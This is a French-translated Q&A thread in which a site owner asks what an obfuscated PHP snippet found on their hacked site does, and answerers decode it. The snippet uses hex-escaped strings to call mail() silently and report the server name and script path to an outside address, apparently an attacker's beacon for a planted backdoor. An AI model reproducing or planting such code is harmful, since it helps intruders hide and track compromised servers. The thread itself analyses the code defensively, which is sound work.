2012-01-24 2 views
1

J'ai trouvé cela incorporé dans un fichier php sur mon site, quelqu'un peut-il me dire ce qu'il fait?Est-ce que quelqu'un sait ce que fait ce code PHP?

$x0b="\x6da\x69l"; 
$ms = $_SERVER["S\x45R\126\105\x52_\x4e\101\x4dE"].$_SERVER["\123\x43R\111\x50\124_NA\x4d\105"]; 
$sub = "\x73\x68\145\x6cl\x20\076\076 :\x20" . $ms; 
$o = array ("\x6fm","\164ma\151","\152\x5f\141\155\x72\x31","\x40\x68\x6f","\154.\x63"); 
$ee = $o[2].$o[3].$o[1].$o[4].$o[0]; 
$send = @$x0b($ee,$sub,$ms); 
+0

Connexes: [S'agit-il d'un piratage de CakePHP?] (Http://stackoverflow.com/q/8638352/367456) – hakre

+0

N'a pas l'air si légitime, vous devriez probablement vérifier votre serveur/application/site pour fuites, vous aurez envie de comprendre comment ce code est arrivé là. –

Répondre

3

Attend mal! Le script essaie d'envoyer un e-mail à [email protected]

@$x0b exécute la fonction avec le nom de $ x0b où \x6da\x69l est "mail" et @ supprime toutes les erreurs.

récepteur $ee est [email protected]

Le courrier contient SERVER_NAME et SCRIPT_NAME de la variable $_SERVER[]. Vous pouvez utiliser codepad pour imprimer les chaînes.

Les chaînes sont codées S\x45R\126\105\x52_\x4e\101\x4dE. S est juste en clair. \x45 est codé en hexadécimal et \126 est un nombre de caractères.

+0

explication parfaite! – user1088793

+0

Comment et où l'avez-vous réellement décodé? – user1088793

+0

Si je recherche le code, je trouve ce [lien brisé] (http://nasmis.dghs.gov.bd/dghs_new/media/keke.php?action=view&file=%2Fshare%2FMD0_DATA%2FQweb%2Fdghs_new%2Fmedia% 2Finv.php). Le nom de domaine est issu du gouvernement bangladesh. [Hacked] (http://nasmis.dghs.gov.bd/dghs_new/media/) par le groupe iranien IDC-TEAM.ORG – PiTheNumber

6

Il crée 4 variables. La première variable, $ x0b, est le nom de la fonction à utiliser, "mail". Les 3 dernières variables sont à qui envoyer l'email, le sujet et le corps du message.

$ee = "[email protected]" 
$sub = "shell >> : file.php" (file.php is the name of the script that contains this code) 
$ms = "file.php" (same as above) 

Vous savez que vous avez été piraté :)

+0

Par Arabie Saoudite Hacker ;-) – hsz

+0

En effet, [regardez ceci] (http://pastebay.com/271254) et [ceci] (http://hostonanip.com/): D – flindeberg

0

je crois que le code PHP lui-même a été "obscurcie" (ou encodée) par un outil comme ioncube. Il ne peut être masqué que par le même outil, mais lorsqu'il est exécuté sur le serveur sur lequel il est installé, il s'exécute normalement. Espérons que cela aide

+0

Je sais que c'est obfusqué, je veulent savoir ce qui est dit, je pense que son codé dans le code de coquille hexagonale, mais pas sûr .. – user1088793

3

Ceci est assez simple obfuscation ASCII et peut être inversé tout simplement.

\ x + [0-9] est fondamentalement la forme ASCII d'une lettre, d'un caractère ou d'un chiffre.

Toute chaîne enroulée entre guillemets seront interprétés pour les caractères ASCII, par exemple:

$E = "\x45"; //E 
$R = "\x52"; //R 
$ER = "\x45\x52"; //ER 

regardant la table ASCII ci-dessous étaient à la recherche à la colonne Hx, car ceux-ci sont des codes de caractères hexadécimaux, donc maintenant, nous pouvons l'utiliser pour construire un nom de fonction dans une chaîne hexagonale et l'appeler comme ceci:

$func = "\x6D\x61\x69\x6C"; //mail 

et ensuite utiliser cette variable pour appeler une fonction comme ceci:

$e = $func($a, $b, $c, $d); 

Assez simple une fois que vous avez compris comment utiliser les représentations ASCII.

enter image description here

+0

+1 pour décrire le format –

+0

Mis à jour avec une réponse plus longue en raison de la 2 + 1 – RobertPitt

+0

Merci beaucoup :) –

2

Il envoie un email contenant l'emplacement du script PHP à l'adresse j_amr1 @ hotmail.com

Est-ce que ce script fait partie d'une application pour laquelle vous êtes censé avoir une licence de site payant? Ce serait un moyen de vérifier pour les personnes qui l'utilisent sans payer. Ou cela pourrait faire partie d'une porte dérobée qui permet à quelqu'un de contrôler votre serveur.